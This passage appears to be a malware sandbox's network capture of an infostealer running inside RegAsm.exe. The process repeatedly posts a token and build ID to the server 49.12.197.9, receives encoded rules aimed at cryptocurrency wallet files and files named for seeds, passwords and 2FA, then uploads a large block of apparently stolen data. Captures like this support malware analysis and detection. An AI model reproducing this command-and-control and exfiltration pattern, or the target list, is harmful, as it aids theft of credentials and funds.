2024-10-02 03:19:41 UTC	16384	IN	Data Raw: 00 00 00 85 c0 0f 85 34 f9 ff ff e9 a7 e8 ff ff c7 44 24 24 00 00 00 00 e9 0b f1 ff ff 8b 44 24 0c 8b 40 10 8b 40 1c 8b 4c 24 08 3b 41 3c 0f 84 95 ea ff ff 8b 7c 24 08 ff 37 68 27 f8 1c 10 ff 74 24 0c e8 e0 ea 00 00 83 c4 0c c7 44 24 24 00 00 00 00 e9 a2 f0 ff ff 68 48 e4 1b 10 8b 7c 24 08 57 e8 c1 ea 00 00 83 c4 08 be 0b 00 00 00 68 40 7e 1c 10 68 14 ce 01 00 68 40 bb 1b 10 68 78 fc 1b 10 56 e8 8f 4f 01 00 83 c4 14 89 77 0c c7 44 24 1c 00 00 00 00 e9 83 f8 ff ff 66 ba 1e 00 31 c0 85 c9 0f 85 54 f1 ff ff 31 d2 e9 5b f1 ff ff 31 ff 66 ba 28 00 be ff 0f 00 00 89 cb 31 c0 83 c2 28 89 f9 0f a4 d9 1c c1 e8 04 39 de bb 00 00 00 00 19 fb 89 cb 89 c7 0f 83 f2 f0 ff ff eb df a9 fd ff ff ff 74 65 31 f6 46 b8 ec bb 1b 10 e9 c1 fd ff ff 31 c0 e9 85 f2 ff ff c7 44 24 Data Ascii: 4D$$D$@@L$;A<\|$7h't$D$$hH\|$Wh@~hh@hxVOwD$f1T1[1f(1(9te1F1D$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49757	49.12.197.9	443	4248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:19:43 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJDGCGDAAAKECAKKJDA User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 1145 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 03:19:43 UTC	1145	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 44 47 43 47 44 41 41 41 4b 45 43 41 4b 4b 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 39 61 61 32 66 63 32 35 32 32 39 33 34 38 39 30 32 31 32 61 66 65 34 62 38 62 62 63 36 34 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 44 47 43 47 44 41 41 41 4b 45 43 41 4b 4b 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 66 62 38 30 39 36 64 62 61 37 32 31 38 32 34 33 66 38 66 36 66 37 61 39 39 34 37 35 31 64 33 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 44 47 43 47 44 41 41 41 4b 45 43 41 4b 4b 4a 44 41 0d 0a 43 6f 6e 74 Data Ascii: ------BKJDGCGDAAAKECAKKJDAContent-Disposition: form-data; name="token"c59aa2fc2522934890212afe4b8bbc64------BKJDGCGDAAAKECAKKJDAContent-Disposition: form-data; name="build_id"7fb8096dba7218243f8f6f7a994751d3------BKJDGCGDAAAKECAKKJDACont
2024-10-02 03:19:44 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 03:19:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 03:19:44 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49758	49.12.197.9	443	4248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:19:45 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFIECBFIDGDAKFHIEHJK User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 03:19:45 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 39 61 61 32 66 63 32 35 32 32 39 33 34 38 39 30 32 31 32 61 66 65 34 62 38 62 62 63 36 34 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 66 62 38 30 39 36 64 62 61 37 32 31 38 32 34 33 66 38 66 36 66 37 61 39 39 34 37 35 31 64 33 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 0d 0a 43 6f 6e 74 Data Ascii: ------CFIECBFIDGDAKFHIEHJKContent-Disposition: form-data; name="token"c59aa2fc2522934890212afe4b8bbc64------CFIECBFIDGDAKFHIEHJKContent-Disposition: form-data; name="build_id"7fb8096dba7218243f8f6f7a994751d3------CFIECBFIDGDAKFHIEHJKCont
2024-10-02 03:19:45 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 03:19:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 03:19:45 UTC	2228	IN	Data Raw: 38 61 38 0d 0a 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 Data Ascii: 8a8Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49759	49.12.197.9	443	4248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:19:46 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKFCAAKFBAEHJJJJDHIE User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 03:19:46 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 46 43 41 41 4b 46 42 41 45 48 4a 4a 4a 4a 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 39 61 61 32 66 63 32 35 32 32 39 33 34 38 39 30 32 31 32 61 66 65 34 62 38 62 62 63 36 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 43 41 41 4b 46 42 41 45 48 4a 4a 4a 4a 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 66 62 38 30 39 36 64 62 61 37 32 31 38 32 34 33 66 38 66 36 66 37 61 39 39 34 37 35 31 64 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 43 41 41 4b 46 42 41 45 48 4a 4a 4a 4a 44 48 49 45 0d 0a 43 6f 6e 74 Data Ascii: ------KKFCAAKFBAEHJJJJDHIEContent-Disposition: form-data; name="token"c59aa2fc2522934890212afe4b8bbc64------KKFCAAKFBAEHJJJJDHIEContent-Disposition: form-data; name="build_id"7fb8096dba7218243f8f6f7a994751d3------KKFCAAKFBAEHJJJJDHIECont
2024-10-02 03:19:47 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 03:19:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 03:19:47 UTC	1524	IN	Data Raw: 35 65 38 0d 0a 52 6d 78 68 63 32 68 38 4a 55 52 53 53 56 5a 46 58 31 4a 46 54 55 39 57 51 55 4a 4d 52 53 56 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 69 6f 73 4b 6e 4e 6c 5a 57 51 71 4c 69 6f 73 4b 6d 4a 30 59 79 6f 75 4b 69 77 71 61 32 56 35 4b 69 34 71 4c 43 6f 79 5a 6d 45 71 4c 69 6f 73 4b 6d 4e 79 65 58 42 30 62 79 6f 75 4b 69 77 71 59 32 39 70 62 69 6f 75 4b 69 77 71 63 48 4a 70 64 6d 46 30 5a 53 6f 75 4b 69 77 71 4d 6d 5a 68 4b 69 34 71 4c 43 70 68 64 58 52 6f 4b 69 34 71 4c 43 70 73 5a 57 52 6e 5a 58 49 71 4c 69 6f 73 4b 6e 52 79 5a 58 70 76 63 69 6f 75 4b 69 77 71 63 47 46 7a 63 79 6f 75 4b 69 77 71 64 32 46 73 4b 69 34 71 4c 43 70 31 63 47 4a 70 64 43 6f 75 4b 69 77 71 59 6d 4e 6c 65 43 6f 75 4b 69 77 71 59 6d 6c 30 61 47 6c 74 59 69 6f 75 4b 69 Data Ascii: 5e8Rmxhc2h8JURSSVZFX1JFTU9WQUJMRSVcfCp3YWxsZXQqLiosKnNlZWQqLiosKmJ0YyouKiwqa2V5Ki4qLCoyZmEqLiosKmNyeXB0byouKiwqY29pbiouKiwqcHJpdmF0ZSouKiwqMmZhKi4qLCphdXRoKi4qLCpsZWRnZXIqLiosKnRyZXpvciouKiwqcGFzcyouKiwqd2FsKi4qLCp1cGJpdCouKiwqYmNleCouKiwqYml0aGltYiouKi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49760	49.12.197.9	443	4248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:19:48 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDGIJJDGCBKFIDHIEBKE User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 461 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 03:19:48 UTC	461	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 39 61 61 32 66 63 32 35 32 32 39 33 34 38 39 30 32 31 32 61 66 65 34 62 38 62 62 63 36 34 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 66 62 38 30 39 36 64 62 61 37 32 31 38 32 34 33 66 38 66 36 66 37 61 39 39 34 37 35 31 64 33 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 0d 0a 43 6f 6e 74 Data Ascii: ------HDGIJJDGCBKFIDHIEBKEContent-Disposition: form-data; name="token"c59aa2fc2522934890212afe4b8bbc64------HDGIJJDGCBKFIDHIEBKEContent-Disposition: form-data; name="build_id"7fb8096dba7218243f8f6f7a994751d3------HDGIJJDGCBKFIDHIEBKECont
2024-10-02 03:19:48 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 03:19:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 03:19:48 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49761	49.12.197.9	443	4248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:19:50 UTC	279	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIEBAKEHDHCAKEBFBKEG User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 114097 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 03:19:50 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 49 45 42 41 4b 45 48 44 48 43 41 4b 45 42 46 42 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 39 61 61 32 66 63 32 35 32 32 39 33 34 38 39 30 32 31 32 61 66 65 34 62 38 62 62 63 36 34 0d 0a 2d 2d 2d 2d 2d 2d 48 49 45 42 41 4b 45 48 44 48 43 41 4b 45 42 46 42 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 66 62 38 30 39 36 64 62 61 37 32 31 38 32 34 33 66 38 66 36 66 37 61 39 39 34 37 35 31 64 33 0d 0a 2d 2d 2d 2d 2d 2d 48 49 45 42 41 4b 45 48 44 48 43 41 4b 45 42 46 42 4b 45 47 0d 0a 43 6f 6e 74 Data Ascii: ------HIEBAKEHDHCAKEBFBKEGContent-Disposition: form-data; name="token"c59aa2fc2522934890212afe4b8bbc64------HIEBAKEHDHCAKEBFBKEGContent-Disposition: form-data; name="build_id"7fb8096dba7218243f8f6f7a994751d3------HIEBAKEHDHCAKEBFBKEGCont
2024-10-02 03:19:50 UTC	16355	OUT	Data Raw: 38 66 2f 77 43 49 71 6e 69 4d 48 79 65 7a 35 6c 59 36 6c 68 38 5a 7a 2b 30 35 58 63 30 50 42 33 69 43 61 35 75 39 4b 30 4b 39 79 62 6d 79 75 33 4d 62 64 63 6f 49 5a 51 51 54 37 45 67 66 54 36 56 54 38 62 2f 38 6a 62 64 2f 37 73 66 2f 41 4b 41 74 61 6e 68 66 77 44 71 32 69 2b 49 37 54 55 62 71 34 73 33 69 68 33 37 68 47 37 6c 75 55 4b 6a 47 56 48 71 4f 39 5a 66 6a 66 2f 6b 62 62 7a 36 52 2f 77 44 6f 43 31 79 30 58 53 6c 6a 6b 36 54 75 72 50 37 39 54 54 47 4b 72 48 4c 6d 71 71 73 2b 5a 66 64 6f 63 39 53 55 74 46 65 30 66 4e 43 55 55 74 4a 54 41 31 50 44 66 2f 49 79 36 62 2f 31 38 4a 2f 4f 75 39 73 4a 42 5a 2f 45 76 56 6f 5a 76 6c 61 2b 74 6f 70 59 43 66 34 67 69 37 53 50 72 77 66 79 72 67 76 44 6e 2f 49 79 36 62 2f 31 38 70 2f 4f 76 55 50 45 50 68 2b 50 58 Data Ascii: 8f/wCIqniMHyez5lY6lh8Zz+05Xc0PB3iCa5u9K0K9ybmyu3MbdcoIZQQT7EgfT6VT8b/8jbd/7sf/AKAtanhfwDq2i+I7TUbq4s3ih37hG7luUKjGVHqO9Zfjf/kbbz6R/wDoC1y0XSljk6TurP79TTGKrHLmqqs+Zfdoc9SUtFe0fNCUUtJTA1PDf/Iy6b/18J/Ou9sJBZ/EvVoZvla+topYCf4gi7SPrwfyrgvDn/Iy6b/18p/OvUPEPh+PX
2024-10-02 03:19:50 UTC	16355	OUT	Data Raw: 6a 52 61 63 34 79 75 33 30 73 53 49 31 7a 35 34 53 32 61 30 56 6e 55 6c 35 4c 71 42 4a 55 69 51 63 73 35 44 71 51 41 41 43 61 6f 70 34 68 2b 32 51 36 37 71 53 74 6f 2b 6c 57 38 64 78 61 51 32 73 74 35 59 4b 36 2b 55 66 4e 79 53 69 52 4e 68 32 32 67 6b 37 51 4f 32 51 41 4b 74 53 4e 64 71 73 69 32 72 32 34 57 5a 50 4c 6c 57 65 32 6a 6d 56 31 79 44 67 68 31 59 59 79 42 32 37 43 71 7a 52 36 68 6d 54 79 7a 70 69 52 79 68 4e 38 58 39 6d 32 35 6a 4a 54 4f 30 37 44 48 74 42 47 35 75 51 4d 38 31 77 59 33 44 56 36 74 52 75 47 32 6e 35 36 6e 71 5a 64 6a 4d 4e 52 70 63 74 52 36 75 2f 79 37 57 48 54 33 38 74 72 70 32 70 45 44 54 64 4f 6b 47 73 58 63 4b 32 39 39 62 69 65 52 6f 31 6a 6a 5a 55 52 31 6a 6b 41 78 75 2f 76 41 63 39 54 31 70 67 31 65 52 74 54 67 30 75 53 31 Data Ascii: jRac4yu30sSI1z54S2a0VnUl5LqBJUiQcs5DqQAACaop4h+2Q67qSto+lW8dxaQ2st5YK6+UfNySiRNh22gk7QO2QAKtSNdqsi2r24WZPLlWe2jmV1yDgh1YYyB27CqzR6hmTyzpiRyhN8X9m25jJTO07DHtBG5uQM81wY3DV6tRuG2n56nqZdjMNRpctR6u/y7WHT38trp2pEDTdOkGsXcK299bieRo1jjZUR1jkAxu/vAc9T1pg1eRtTg0uS1
2024-10-02 03:19:50 UTC	16355	OUT	Data Raw: 41 68 61 53 69 69 67 59 55 55 55 55 77 46 7a 52 6e 6d 6d 30 76 76 53 43 77 37 50 71 4b 4d 67 30 32 69 69 77 72 45 56 39 2f 77 41 67 2b 54 2f 65 57 71 75 6d 66 65 6c 2b 67 71 7a 65 6e 2f 69 58 7a 66 56 66 35 31 56 30 77 2f 50 4a 39 42 56 78 2b 42 67 61 57 4b 42 6e 30 6f 7a 52 6d 73 78 43 30 55 41 2b 31 4c 6d 67 42 4d 63 55 55 75 66 72 52 6b 55 67 43 67 55 74 46 46 77 45 37 55 75 4b 44 53 30 67 75 4a 69 69 6c 78 52 6a 33 6f 45 4a 69 6a 46 4b 4b 58 46 41 44 63 55 74 4c 69 6c 78 51 46 78 6f 48 38 71 58 46 4c 69 6a 46 4b 34 67 37 31 65 30 37 37 38 32 50 2b 65 44 2f 77 41 71 70 67 56 65 30 37 2f 57 79 63 66 38 73 58 2f 6c 57 56 62 34 47 43 65 70 77 4d 6e 76 55 52 71 56 38 5a 71 49 39 4b 39 79 47 79 4f 75 49 68 35 70 70 36 55 76 57 6b 4e 57 57 68 70 70 70 39 66 Data Ascii: AhaSiigYUUUUwFzRnmm0vvSCw7PqKMg02iiwrEV9/wAg+T/eWqumfel+gqzen/iXzfVf51V0w/PJ9BVx+BgaWKBn0ozRmsxC0UA+1LmgBMcUUufrRkUgCgUtFFwE7UuKDS0guJiilxRj3oEJijFKKXFADcUtLilxQFxoH8qXFLijFK4g71e07782P+eD/wAqpgVe07/Wycf8sX/lWVb4GCepwMnvURqV8ZqI9K9yGyOuIh5pp6UvWkNWWhppp9f
2024-10-02 03:19:50 UTC	16355	OUT	Data Raw: 6c 70 61 41 45 70 4b 57 69 6d 4d 53 6b 70 32 4b 54 72 51 41 6c 46 46 47 4b 59 42 52 69 6c 70 4b 42 69 55 55 55 55 41 4a 69 69 6c 70 4b 59 77 78 52 69 6a 46 47 4b 41 45 70 4d 55 37 46 47 4b 59 78 4d 55 55 75 4b 4d 55 43 41 44 6d 74 36 2b 2f 34 2b 6a 2f 75 72 2f 49 56 68 4b 4f 52 57 39 66 38 58 52 2f 33 56 2f 6c 58 50 56 2b 4e 41 6e 37 79 4b 75 4b 4b 57 69 67 32 45 70 4d 55 36 6b 6f 47 46 46 46 46 41 43 55 55 59 6f 70 6a 43 6a 38 4b 55 43 69 67 42 4d 30 6c 4f 70 4d 55 67 44 46 47 4f 4b 63 4b 61 61 41 49 37 6a 2f 6a 7a 75 50 2b 75 66 38 41 55 56 6e 36 5a 2f 72 33 2f 77 42 79 74 43 35 79 4c 4b 34 2f 33 50 36 69 73 2f 54 50 39 65 2f 2b 35 54 6a 38 4c 42 47 70 53 30 59 6f 41 70 41 47 4b 53 6e 59 6f 78 53 46 63 62 69 6c 78 54 67 4b 58 48 2b 63 30 58 43 34 7a 46 Data Ascii: lpaAEpKWimMSkp2KTrQAlFFGKYBRilpKBiUUUUAJiilpKYwxRijFGKAEpMU7FGKYxMUUuKMUCADmt6+/4+j/ur/IVhKORW9f8XR/3V/lXPV+NAn7yKuKKWig2EpMU6koGFFFFACUUYopjCj8KUCigBM0lOpMUgDFGOKcKaaAI7j/jzuP+uf8AUVn6Z/r3/wBytC5yLK4/3P6is/TP9e/+5Tj8LBGpS0YoApAGKSnYoxSFcbilxTgKXH+c0XC4zF
2024-10-02 03:19:50 UTC	16355	OUT	Data Raw: 6a 67 34 34 70 50 37 54 68 38 71 57 4a 4c 50 55 72 75 36 6a 73 78 64 79 74 5a 71 47 6a 74 77 36 62 30 44 44 59 53 33 42 55 6b 35 58 47 53 4f 32 54 79 38 2b 58 2f 41 4d 76 39 61 2f 35 48 63 36 65 62 70 2f 48 2f 41 46 70 35 65 61 4f 6e 2f 77 43 45 76 38 51 66 39 42 4a 76 2b 2f 4d 66 2f 77 41 54 57 62 66 36 68 64 36 6e 63 43 34 76 5a 7a 4e 4b 45 43 42 69 71 72 38 6f 4a 4f 4f 41 42 33 4e 59 30 4f 6f 52 53 61 68 62 32 75 2b 55 69 54 54 42 65 6b 38 5a 33 47 32 38 37 41 34 36 5a 34 2b 6c 53 53 33 53 32 6c 76 59 54 58 4a 6d 33 61 6a 5a 77 7a 57 6b 51 32 37 6e 5a 30 56 6e 63 38 63 52 71 57 78 36 6b 38 5a 34 4a 72 53 6e 57 77 55 4b 69 35 49 36 2f 77 43 64 31 2b 6a 4d 71 32 47 7a 4f 72 53 6b 71 73 72 78 36 36 39 72 50 39 55 58 4b 4b 51 64 42 6d 6c 72 31 6a 35 38 4b Data Ascii: jg44pP7Th8qWJLPUru6jsxdytZqGjtw6b0DDYS3BUk5XGSO2Ty8+X/AMv9a/5Hc6ebp/H/AFp5eaOn/wCEv8Qf9BJv+/Mf/wATWbf6hd6ncC4vZzNKECBiqr8oJOOAB3NY0OoRSahb2u+UiTTBek8Z3G287A46Z4+lSS3S2lvYTXJm3ajZwzWkQ27nZ0Vnc8cRqWx6k8Z4JrSnWwUKi5I6/wCd1+jMq2GzOrSkqsrx669rP9UXKKQdBmlr1j58K
2024-10-02 03:19:50 UTC	15967	OUT	Data Raw: 61 54 4e 4d 42 61 53 69 6b 6f 41 58 69 6b 6f 6f 70 44 43 69 69 69 67 4c 42 53 55 74 49 61 41 43 69 69 69 67 41 6f 4e 46 46 41 78 4b 4b 4b 4b 41 43 6b 6f 4e 46 41 77 6f 6f 6f 6f 41 53 69 69 69 67 41 70 44 53 30 6c 41 77 6f 6f 6f 6f 41 53 69 69 69 67 59 6e 65 69 6c 70 4b 41 43 69 69 6b 6f 47 46 46 46 49 61 42 68 52 52 53 55 49 41 6f 4e 46 49 61 59 77 6f 6f 6f 6f 41 53 69 69 69 67 59 68 6f 70 61 53 67 41 70 4b 57 6b 6f 47 46 4a 51 61 4b 42 6f 4b 53 67 30 55 44 45 6f 6f 4e 46 41 41 61 53 69 69 6d 4d 53 69 69 67 30 41 4a 53 55 74 4a 33 6f 47 46 46 46 42 6f 47 4a 53 47 6c 70 44 51 4d 4b 53 6c 70 4b 41 45 6f 6f 6f 6f 47 4a 52 52 52 51 4d 53 6b 70 61 53 67 59 55 6c 4c 53 55 78 68 53 55 74 4a 51 4d 53 67 30 55 47 67 61 45 70 4b 57 6b 6f 41 4b 61 61 64 54 54 51 4d Data Ascii: aTNMBaSikoAXikoopDCiiigLBSUtIaACiiigAoNFFAxKKKKACkoNFAwooooASiiigApDS0lAwooooASiiigYneilpKACiikoGFFFIaBhRRSUIAoNFIaYwooooASiiigYhopaSgApKWkoGFJQaKBoKSg0UDEooNFAAaSiimMSiig0AJSUtJ3oGFFFBoGJSGlpDQMKSlpKAEooooGJRRRQMSkpaSgYUlLSUxhSUtJQMSg0UGgaEpKWkoAKaadTTQM
2024-10-02 03:19:51 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 03:19:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 03:19:51 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49763	49.12.197.9	443	4248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:19:52 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKFHDBFIDAECAAAKEGDA User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 03:19:52 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 46 48 44 42 46 49 44 41 45 43 41 41 41 4b 45 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 39 61 61 32 66 63 32 35 32 32 39 33 34 38 39 30 32 31 32 61 66 65 34 62 38 62 62 63 36 34 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 48 44 42 46 49 44 41 45 43 41 41 41 4b 45 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 66 62 38 30 39 36 64 62 61 37 32 31 38 32 34 33 66 38 66 36 66 37 61 39 39 34 37 35 31 64 33 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 48 44 42 46 49 44 41 45 43 41 41 41 4b 45 47 44 41 0d 0a 43 6f 6e 74 Data Ascii: ------AKFHDBFIDAECAAAKEGDAContent-Disposition: form-data; name="token"c59aa2fc2522934890212afe4b8bbc64------AKFHDBFIDAECAAAKEGDAContent-Disposition: form-data; name="build_id"7fb8096dba7218243f8f6f7a994751d3------AKFHDBFIDAECAAAKEGDACont
2024-10-02 03:19:53 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 03:19:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
